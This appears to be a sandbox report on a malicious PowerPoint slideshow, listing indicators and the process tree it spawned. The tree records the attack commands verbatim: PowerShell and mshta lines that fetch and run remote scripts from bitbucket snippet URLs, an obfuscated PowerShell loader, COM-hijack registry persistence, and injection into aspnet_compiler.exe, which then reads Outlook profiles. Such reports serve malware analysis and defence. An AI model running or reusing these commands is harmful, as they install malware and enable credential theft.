4660	powershell.exe
2160	aspnet_compiler.exe
3796	POWERSHELL.exe
3796	POWERSHELL.exe
3852	powershell.exe
3852	powershell.exe
992	aspnet_compiler.exe
3708	POWERSHELL.exe
3708	POWERSHELL.exe
4644	powershell.exe
4644	powershell.exe
2620	aspnet_compiler.exe
5068	POWERSHELL.exe
5068	POWERSHELL.exe
5068	POWERSHELL.exe
3964	powershell.exe
3964	powershell.exe
3964	powershell.exe
4936	aspnet_compiler.exe
4936	aspnet_compiler.exe
3952	POWERSHELL.exe
3952	POWERSHELL.exe
3508	powershell.exe
3508	powershell.exe
1560	aspnet_compiler.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exePOWERSHELL.exepowershell.exePOWERSHELL.exe

description	pid	process
Token: SeDebugPrivilege	4740	powershell.exe
Token: SeDebugPrivilege	2804	POWERSHELL.exe
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeDebugPrivilege	3536	POWERSHELL.exe
Token: SeIncreaseQuotaPrivilege	2616	powershell.exe
Token: SeSecurityPrivilege	2616	powershell.exe
Token: SeTakeOwnershipPrivilege	2616	powershell.exe
Token: SeLoadDriverPrivilege	2616	powershell.exe
Token: SeSystemProfilePrivilege	2616	powershell.exe
Token: SeSystemtimePrivilege	2616	powershell.exe
Token: SeProfSingleProcessPrivilege	2616	powershell.exe
Token: SeIncBasePriorityPrivilege	2616	powershell.exe
Token: SeCreatePagefilePrivilege	2616	powershell.exe
Token: SeBackupPrivilege	2616	powershell.exe
Token: SeRestorePrivilege	2616	powershell.exe
Token: SeShutdownPrivilege	2616	powershell.exe
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeSystemEnvironmentPrivilege	2616	powershell.exe
Token: SeRemoteShutdownPrivilege	2616	powershell.exe
Token: SeUndockPrivilege	2616	powershell.exe
Token: SeManageVolumePrivilege	2616	powershell.exe
Token: 33	2616	powershell.exe
Token: 34	2616	powershell.exe
Token: 35	2616	powershell.exe
Token: 36	2616	powershell.exe
Token: SeIncreaseQuotaPrivilege	2616	powershell.exe
Token: SeSecurityPrivilege	2616	powershell.exe
Token: SeTakeOwnershipPrivilege	2616	powershell.exe
Token: SeLoadDriverPrivilege	2616	powershell.exe
Token: SeSystemProfilePrivilege	2616	powershell.exe
Token: SeSystemtimePrivilege	2616	powershell.exe
Token: SeProfSingleProcessPrivilege	2616	powershell.exe
Token: SeIncBasePriorityPrivilege	2616	powershell.exe
Token: SeCreatePagefilePrivilege	2616	powershell.exe
Token: SeBackupPrivilege	2616	powershell.exe
Token: SeRestorePrivilege	2616	powershell.exe
Token: SeShutdownPrivilege	2616	powershell.exe
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeSystemEnvironmentPrivilege	2616	powershell.exe
Token: SeRemoteShutdownPrivilege	2616	powershell.exe
Token: SeUndockPrivilege	2616	powershell.exe
Token: SeManageVolumePrivilege	2616	powershell.exe
Token: 33	2616	powershell.exe
Token: 34	2616	powershell.exe
Token: 35	2616	powershell.exe
Token: 36	2616	powershell.exe
Token: SeIncreaseQuotaPrivilege	2616	powershell.exe
Token: SeSecurityPrivilege	2616	powershell.exe
Token: SeTakeOwnershipPrivilege	2616	powershell.exe
Token: SeLoadDriverPrivilege	2616	powershell.exe
Token: SeSystemProfilePrivilege	2616	powershell.exe
Token: SeSystemtimePrivilege	2616	powershell.exe
Token: SeProfSingleProcessPrivilege	2616	powershell.exe
Token: SeIncBasePriorityPrivilege	2616	powershell.exe
Token: SeCreatePagefilePrivilege	2616	powershell.exe
Token: SeBackupPrivilege	2616	powershell.exe
Token: SeRestorePrivilege	2616	powershell.exe
Token: SeShutdownPrivilege	2616	powershell.exe
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeSystemEnvironmentPrivilege	2616	powershell.exe
Token: SeRemoteShutdownPrivilege	2616	powershell.exe
Token: SeUndockPrivilege	2616	powershell.exe
Token: SeManageVolumePrivilege	2616	powershell.exe
Token: 33	2616	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

POWERPNT.EXE

pid process

2236 POWERPNT.EXE
2236 POWERPNT.EXE

pid	process
2236	POWERPNT.EXE
2236	POWERPNT.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

POWERPNT.EXEcmd.exepowershell.execmd.exePOWERSHELL.exepowershell.exePOWERSHELL.execmd.execmd.exepowershell.exePOWERSHELL.execmd.execmd.exepowershell.exePOWERSHELL.execmd.execmd.exepowershell.exe

description	pid	process	target process
PID 2236 wrote to memory of 1104	2236	POWERPNT.EXE	cmd.exe
PID 2236 wrote to memory of 1104	2236	POWERPNT.EXE	cmd.exe
PID 1104 wrote to memory of 4740	1104	cmd.exe	powershell.exe
PID 1104 wrote to memory of 4740	1104	cmd.exe	powershell.exe
PID 4740 wrote to memory of 5068	4740	powershell.exe	cmd.exe
PID 4740 wrote to memory of 5068	4740	powershell.exe	cmd.exe
PID 5068 wrote to memory of 4380	5068	cmd.exe	mshta.exe
PID 5068 wrote to memory of 4380	5068	cmd.exe	mshta.exe
PID 2804 wrote to memory of 2616	2804	POWERSHELL.exe	powershell.exe
PID 2804 wrote to memory of 2616	2804	POWERSHELL.exe	powershell.exe
PID 2616 wrote to memory of 1424	2616	powershell.exe	WScript.exe
PID 2616 wrote to memory of 1424	2616	powershell.exe	WScript.exe
PID 3536 wrote to memory of 3076	3536	POWERSHELL.exe	cmd.exe
PID 3536 wrote to memory of 3076	3536	POWERSHELL.exe	cmd.exe
PID 3076 wrote to memory of 1392	3076	cmd.exe	reg.exe
PID 3076 wrote to memory of 1392	3076	cmd.exe	reg.exe
PID 3076 wrote to memory of 3756	3076	cmd.exe	reg.exe
PID 3076 wrote to memory of 3756	3076	cmd.exe	reg.exe
PID 3076 wrote to memory of 380	3076	cmd.exe	cmd.exe
PID 3076 wrote to memory of 380	3076	cmd.exe	cmd.exe
PID 380 wrote to memory of 4032	380	cmd.exe	powershell.exe
PID 380 wrote to memory of 4032	380	cmd.exe	powershell.exe
PID 4032 wrote to memory of 4012	4032	powershell.exe	aspnet_compiler.exe
PID 4032 wrote to memory of 4012	4032	powershell.exe	aspnet_compiler.exe
PID 4032 wrote to memory of 4012	4032	powershell.exe	aspnet_compiler.exe
PID 4032 wrote to memory of 4012	4032	powershell.exe	aspnet_compiler.exe
PID 4032 wrote to memory of 4012	4032	powershell.exe	aspnet_compiler.exe
PID 4032 wrote to memory of 4012	4032	powershell.exe	aspnet_compiler.exe
PID 4032 wrote to memory of 4012	4032	powershell.exe	aspnet_compiler.exe
PID 4032 wrote to memory of 4012	4032	powershell.exe	aspnet_compiler.exe
PID 2492 wrote to memory of 1232	2492	POWERSHELL.exe	cmd.exe
PID 2492 wrote to memory of 1232	2492	POWERSHELL.exe	cmd.exe
PID 1232 wrote to memory of 4024	1232	cmd.exe	reg.exe
PID 1232 wrote to memory of 4024	1232	cmd.exe	reg.exe
PID 1232 wrote to memory of 60	1232	cmd.exe	reg.exe
PID 1232 wrote to memory of 60	1232	cmd.exe	reg.exe
PID 1232 wrote to memory of 3820	1232	cmd.exe	cmd.exe
PID 1232 wrote to memory of 3820	1232	cmd.exe	cmd.exe
PID 3820 wrote to memory of 4844	3820	cmd.exe	powershell.exe
PID 3820 wrote to memory of 4844	3820	cmd.exe	powershell.exe
PID 4844 wrote to memory of 2560	4844	powershell.exe	aspnet_compiler.exe
PID 4844 wrote to memory of 2560	4844	powershell.exe	aspnet_compiler.exe
PID 4844 wrote to memory of 2560	4844	powershell.exe	aspnet_compiler.exe
PID 4844 wrote to memory of 2560	4844	powershell.exe	aspnet_compiler.exe
PID 4844 wrote to memory of 2560	4844	powershell.exe	aspnet_compiler.exe
PID 4844 wrote to memory of 2560	4844	powershell.exe	aspnet_compiler.exe
PID 4844 wrote to memory of 2560	4844	powershell.exe	aspnet_compiler.exe
PID 4844 wrote to memory of 2560	4844	powershell.exe	aspnet_compiler.exe
PID 4572 wrote to memory of 2396	4572	POWERSHELL.exe	cmd.exe
PID 4572 wrote to memory of 2396	4572	POWERSHELL.exe	cmd.exe
PID 2396 wrote to memory of 660	2396	cmd.exe	reg.exe
PID 2396 wrote to memory of 660	2396	cmd.exe	reg.exe
PID 2396 wrote to memory of 3572	2396	cmd.exe	reg.exe
PID 2396 wrote to memory of 3572	2396	cmd.exe	reg.exe
PID 2396 wrote to memory of 1672	2396	cmd.exe	cmd.exe
PID 2396 wrote to memory of 1672	2396	cmd.exe	cmd.exe
PID 1672 wrote to memory of 4680	1672	cmd.exe	powershell.exe
PID 1672 wrote to memory of 4680	1672	cmd.exe	powershell.exe
PID 4680 wrote to memory of 1496	4680	powershell.exe	aspnet_compiler.exe
PID 4680 wrote to memory of 1496	4680	powershell.exe	aspnet_compiler.exe
PID 4680 wrote to memory of 1496	4680	powershell.exe	aspnet_compiler.exe
PID 4680 wrote to memory of 1496	4680	powershell.exe	aspnet_compiler.exe
PID 4680 wrote to memory of 1496	4680	powershell.exe	aspnet_compiler.exe
PID 4680 wrote to memory of 1496	4680	powershell.exe	aspnet_compiler.exe

outlook_office_path 1 IoCs

Processes:

aspnet_compiler.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe

outlook_win_path 1 IoCs

Processes:

aspnet_compiler.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\ae4932402776b79b18dac096d0afdcc986f7bef1459bfb9bb5675f2b074d8e04.pps" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2236

C:\Windows\SYSTEM32\cmd.exe
cmd /c start /min PowerShell -ex Bypass -nOp -w 1 ;i'E'x(iwr('https://bitbucket.org/!api/2.0/snippets/tinypro/LM4xGp/ed8727ba02924677655de204f9422df557005d3f/files/blessed-final.txt') -useB); Start-Sleep -Seconds 20
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1104

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell -ex Bypass -nOp -w 1 ;i'E'x(iwr('https://bitbucket.org/!api/2.0/snippets/tinypro/LM4xGp/ed8727ba02924677655de204f9422df557005d3f/files/blessed-final.txt') -useB); Start-Sleep -Seconds 20
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4740

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c start /min mshta https://bitbucket.org/!api/2.0/snippets/tinypro/rEG58e/000e903c314ad0a34dfaac0751c43024bbf2dadd/files/blessed2.txt
4⤵
- Suspicious use of WriteProcessMemory
PID:5068

C:\Windows\system32\mshta.exe
mshta https://bitbucket.org/!api/2.0/snippets/tinypro/rEG58e/000e903c314ad0a34dfaac0751c43024bbf2dadd/files/blessed2.txt
5⤵
- Blocklisted process makes network request
PID:4380

C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.exe
POWERSHELL $HPJSWDLAZGWFDZYDFHWGFRU = '[%9%{!)<60%7]643]%((!^]y%9%{!)<60%7]643]%((!^]t\+!{{@901}8-#+([)]#/=}&{0}#23{1=##<%9-+90*4+.IO.%9%{!)<60%7]643]%((!^]t{)]<5/]9928(@-%*})\<$@\+!{{@901}8-#+([)]#/=}_#=#9)<+/&53\+]}70#-*6&{0}#23{1=##<%9-+90*4+{)]<5/]9928(@-%*})\<$@\+!{{@901}8-#+([)]#/=}_#=#9)<+/&53\+]}70#-*6d\+!{{@901}8-#+([)]#/=}{)]<5/]9928(@-%*})\<$@]'.Replace('%9%{!)<60%7]643]%((!^]','S').Replace('\+!{{@901}8-#+([)]#/=}','E').Replace('{)]<5/]9928(@-%*})\<$@','R').Replace('_#=#9)<+/&53\+]}70#-*6','A').Replace('&{0}#23{1=##<%9-+90*4+','M');$HFVVYPXEVBJEIVAVHEPLSDU = ($HPJSWDLAZGWFDZYDFHWGFRU -Join '')|&('I'+'EX');$HKLNYCJAXBTERCXRLWVDDRR = '[$0[-_<#)(+}%]\3%7\(5&#y$0[-_<#)(+}%]\3%7\(5&#*^(!+72@//61)!18$/<%8[+&=#*$)4$<3}!1<)@3##5=m.N+&=#*$)4$<3}!1<)@3##5=*^(!+72@//61)!18$/<%8[.W+&=#*$)4$<3}!1<)@3##5=bR+&=#*$)4$<3}!1<)@3##5=qu+&=#*$)4$<3}!1<)@3##5=$0[-_<#)(+}%]\3%7\(5&#*^(!+72@//61)!18$/<%8[]'.Replace('$0[-_<#)(+}%]\3%7\(5&#','S').Replace('+&=#*$)4$<3}!1<)@3##5=','E').Replace('*^(!+72@//61)!18$/<%8[','T');$HHKOVSNBTTKFPLKUTNGTEHB = ($HKLNYCJAXBTERCXRLWVDDRR -Join '')|&('I'+'EX');$HTZCELDOJQNRIVJVBXAVZND = '\][0{2=!#**(#<)4$/{=^%r11+[/-}*(1}3(}]+(#)6[]a<!=7!}\7)9&$[[)/4/&[/&11+[/-}*(1}3(}]+(#)6[]'.Replace('\][0{2=!#**(#<)4$/{=^%','C').Replace('11+[/-}*(1}3(}]+(#)6[]','E').Replace('<!=7!}\7)9&$[[)/4/&[/&','T');$HJJPDTCBEJQGGUGWFGICSKF = '{!@{8=!@4!(52!5=$1_##*&5<22_0_)1\%*#}*(6[867tR&5<22_0_)1\%*#}*(6[867[={9}@&&6*48{8}6_+3%=*pon[={9}@&&6*48{8}6_+3%=*&5<22_0_)1\%*#}*(6[867'.Replace('{!@{8=!@4!(52!5=$1_##*','G').Replace('&5<22_0_)1\%*#}*(6[867','E').Replace('[={9}@&&6*48{8}6_+3%=*','S');$HYRGAIQZLYZNHUPAAKKHBKR = 'G!!((=#^55=^9&7^3$_4=1/t[%\*\][6!)-[8$5!41<#1_!!((=#^55=^9&7^3$_4=1/7({=\[#%*6@0088{}\43}@pon7({=\[#%*6@0088{}\43}@!!((=#^55=^9&7^3$_4=1/7({=\[#%*6@0088{}\43}@t[%\*\][6!)-[8$5!41<#1_!!((=#^55=^9&7^3$_4=1/am'.Replace('7({=\[#%*6@0088{}\43}@','S').Replace('!!((=#^55=^9&7^3$_4=1/','E').Replace('[%\*\][6!)-[8$5!41<#1_','R');$HSIYIVTRGVUTCUUELHVIWZX = '}2=29-^$/4!#%4_6^(9<@[&_/2\4*4=(\7_]}](4_\_)a^[<2_/^@429<&238}@][#=To&_/2\4*4=(\7_]}](4_\_)n^[<2_/^@429<&238}@][#='.Replace('}2=29-^$/4!#%4_6^(9<@[','R').Replace('&_/2\4*4=(\7_]}](4_\_)','E').Replace('^[<2_/^@429<&238}@][#=','D');&('I'+'EX')($HFVVYPXEVBJEIVAVHEPLSDU::new($HHKOVSNBTTKFPLKUTNGTEHB::$HTZCELDOJQNRIVJVBXAVZND('https://bitbucket.org/!api/2.0/snippets/tinypro/AMyBo5/7aa8070fad88ee97f746dc619bfe09d8d55d7840/files/blessed1.txt').$HJJPDTCBEJQGGUGWFGICSKF().$HYRGAIQZLYZNHUPAAKKHBKR()).$HSIYIVTRGVUTCUUELHVIWZX())
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2804

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "& 'C:\ProgramData\NJWDBWOESPINHONHYKUWZS\NJWDBWOESPINHONHYKUWZS.ps1'"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2616

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\NJWDBWOESPINHONHYKUWZS\NJWDBWOESPINHONHYKUWZS.vbs"
3⤵
PID:1424

C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.exe
POWERSHELL -noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData\NJWDBWOESPINHONHYKUWZS\NJWDBWOESPINHONHYKUWZS.bat
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3536

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\NJWDBWOESPINHONHYKUWZS\NJWDBWOESPINHONHYKUWZS.bat""
2⤵
- Suspicious use of WriteProcessMemory
PID:3076

C:\Windows\system32\reg.exe
REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f
3⤵
- Modifies registry class
- Modifies registry key
PID:1392

C:\Windows\system32\reg.exe
REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\IDontExist.dll /f
3⤵
- Registers COM server for autorun
- Modifies registry class
- Modifies registry key
PID:3756

C:\Windows\system32\cmd.exe
cMd.E"x"e /c =PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\NJWDBWOESPINHONHYKUWZS\CYEBRRULVISVNIVUDGZPTV.ps1'"
3⤵
- Suspicious use of WriteProcessMemory
PID:380

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\NJWDBWOESPINHONHYKUWZS\CYEBRRULVISVNIVUDGZPTV.ps1'"
4⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4032

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
5⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
PID:4012

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\ProgramData\NJWDBWOESPINHONHYKUWZS\NJWDBWOESPINHONHYKUWZS.vbs"
1⤵
PID:1180

C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.exe
POWERSHELL -noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData\NJWDBWOESPINHONHYKUWZS\NJWDBWOESPINHONHYKUWZS.bat
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2492

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\NJWDBWOESPINHONHYKUWZS\NJWDBWOESPINHONHYKUWZS.bat""
2⤵
- Suspicious use of WriteProcessMemory
PID:1232

C:\Windows\system32\reg.exe
REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f
3⤵
- Modifies registry class
- Modifies registry key
PID:4024

C:\Windows\system32\reg.exe
REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\IDontExist.dll /f
3⤵
- Registers COM server for autorun
- Modifies registry class
- Modifies registry key
PID:60

C:\Windows\system32\cmd.exe
cMd.E"x"e /c =PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\NJWDBWOESPINHONHYKUWZS\CYEBRRULVISVNIVUDGZPTV.ps1'"
3⤵
- Suspicious use of WriteProcessMemory
PID:3820

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\NJWDBWOESPINHONHYKUWZS\CYEBRRULVISVNIVUDGZPTV.ps1'"
4⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4844

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
5⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
PID:2560

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\ProgramData\NJWDBWOESPINHONHYKUWZS\NJWDBWOESPINHONHYKUWZS.vbs"
1⤵
PID:2080

C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.exe
POWERSHELL -noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData\NJWDBWOESPINHONHYKUWZS\NJWDBWOESPINHONHYKUWZS.bat
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4572

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\NJWDBWOESPINHONHYKUWZS\NJWDBWOESPINHONHYKUWZS.bat""
2⤵
- Suspicious use of WriteProcessMemory
PID:2396

C:\Windows\system32\reg.exe
REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f
3⤵
- Modifies registry class
- Modifies registry key
PID:660

C:\Windows\system32\reg.exe
REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\IDontExist.dll /f
3⤵
- Registers COM server for autorun
- Modifies registry class
- Modifies registry key
PID:3572

C:\Windows\system32\cmd.exe
cMd.E"x"e /c =PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\NJWDBWOESPINHONHYKUWZS\CYEBRRULVISVNIVUDGZPTV.ps1'"
3⤵
- Suspicious use of WriteProcessMemory
PID:1672

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\NJWDBWOESPINHONHYKUWZS\CYEBRRULVISVNIVUDGZPTV.ps1'"
4⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4680

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
5⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
PID:1496

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\ProgramData\NJWDBWOESPINHONHYKUWZS\NJWDBWOESPINHONHYKUWZS.vbs"
1⤵
PID:4104

C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.exe
POWERSHELL -noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData\NJWDBWOESPINHONHYKUWZS\NJWDBWOESPINHONHYKUWZS.bat
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
PID:4636

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\NJWDBWOESPINHONHYKUWZS\NJWDBWOESPINHONHYKUWZS.bat""
2⤵
PID:1568

C:\Windows\system32\reg.exe
REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\IDontExist.dll /f
3⤵
- Registers COM server for autorun
- Modifies registry class
- Modifies registry key
PID:3944

C:\Windows\system32\cmd.exe
cMd.E"x"e /c =PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\NJWDBWOESPINHONHYKUWZS\CYEBRRULVISVNIVUDGZPTV.ps1'"
3⤵
PID:3616

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\NJWDBWOESPINHONHYKUWZS\CYEBRRULVISVNIVUDGZPTV.ps1'"
4⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:2248

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
5⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
PID:4300

C:\Windows\system32\reg.exe
REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f
1⤵
- Modifies registry class
- Modifies registry key
PID:3112

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\ProgramData\NJWDBWOESPINHONHYKUWZS\NJWDBWOESPINHONHYKUWZS.vbs"
1⤵
PID:2076

C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.exe
POWERSHELL -noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData\NJWDBWOESPINHONHYKUWZS\NJWDBWOESPINHONHYKUWZS.bat
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
PID:1252

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\NJWDBWOESPINHONHYKUWZS\NJWDBWOESPINHONHYKUWZS.bat""
2⤵
PID:2812

C:\Windows\system32\reg.exe
REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\IDontExist.dll /f
3⤵
- Registers COM server for autorun
- Modifies registry class
- Modifies registry key
PID:2204

C:\Windows\system32\reg.exe
REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f
3⤵
- Modifies registry class
- Modifies registry key
PID:4904

C:\Windows\system32\cmd.exe
cMd.E"x"e /c =PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\NJWDBWOESPINHONHYKUWZS\CYEBRRULVISVNIVUDGZPTV.ps1'"
3⤵
PID:3512

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\NJWDBWOESPINHONHYKUWZS\CYEBRRULVISVNIVUDGZPTV.ps1'"
4⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:4876

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
5⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
PID:1260

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\ProgramData\NJWDBWOESPINHONHYKUWZS\NJWDBWOESPINHONHYKUWZS.vbs"
1⤵
PID:4664

C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.exe
POWERSHELL -noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData\NJWDBWOESPINHONHYKUWZS\NJWDBWOESPINHONHYKUWZS.bat
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
PID:4108

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\NJWDBWOESPINHONHYKUWZS\NJWDBWOESPINHONHYKUWZS.bat""
2⤵
PID:4268

C:\Windows\system32\reg.exe
REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f
3⤵
- Modifies registry class
- Modifies registry key
PID:2856

C:\Windows\system32\reg.exe
REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\IDontExist.dll /f
3⤵
- Registers COM server for autorun
- Modifies registry class
- Modifies registry key
PID:1052

C:\Windows\system32\cmd.exe
cMd.E"x"e /c =PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\NJWDBWOESPINHONHYKUWZS\CYEBRRULVISVNIVUDGZPTV.ps1'"
3⤵
PID:3024

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\NJWDBWOESPINHONHYKUWZS\CYEBRRULVISVNIVUDGZPTV.ps1'"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:4660

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
2⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
PID:2160

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\ProgramData\NJWDBWOESPINHONHYKUWZS\NJWDBWOESPINHONHYKUWZS.vbs"
1⤵
PID:3304

C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.exe
POWERSHELL -noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData\NJWDBWOESPINHONHYKUWZS\NJWDBWOESPINHONHYKUWZS.bat
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
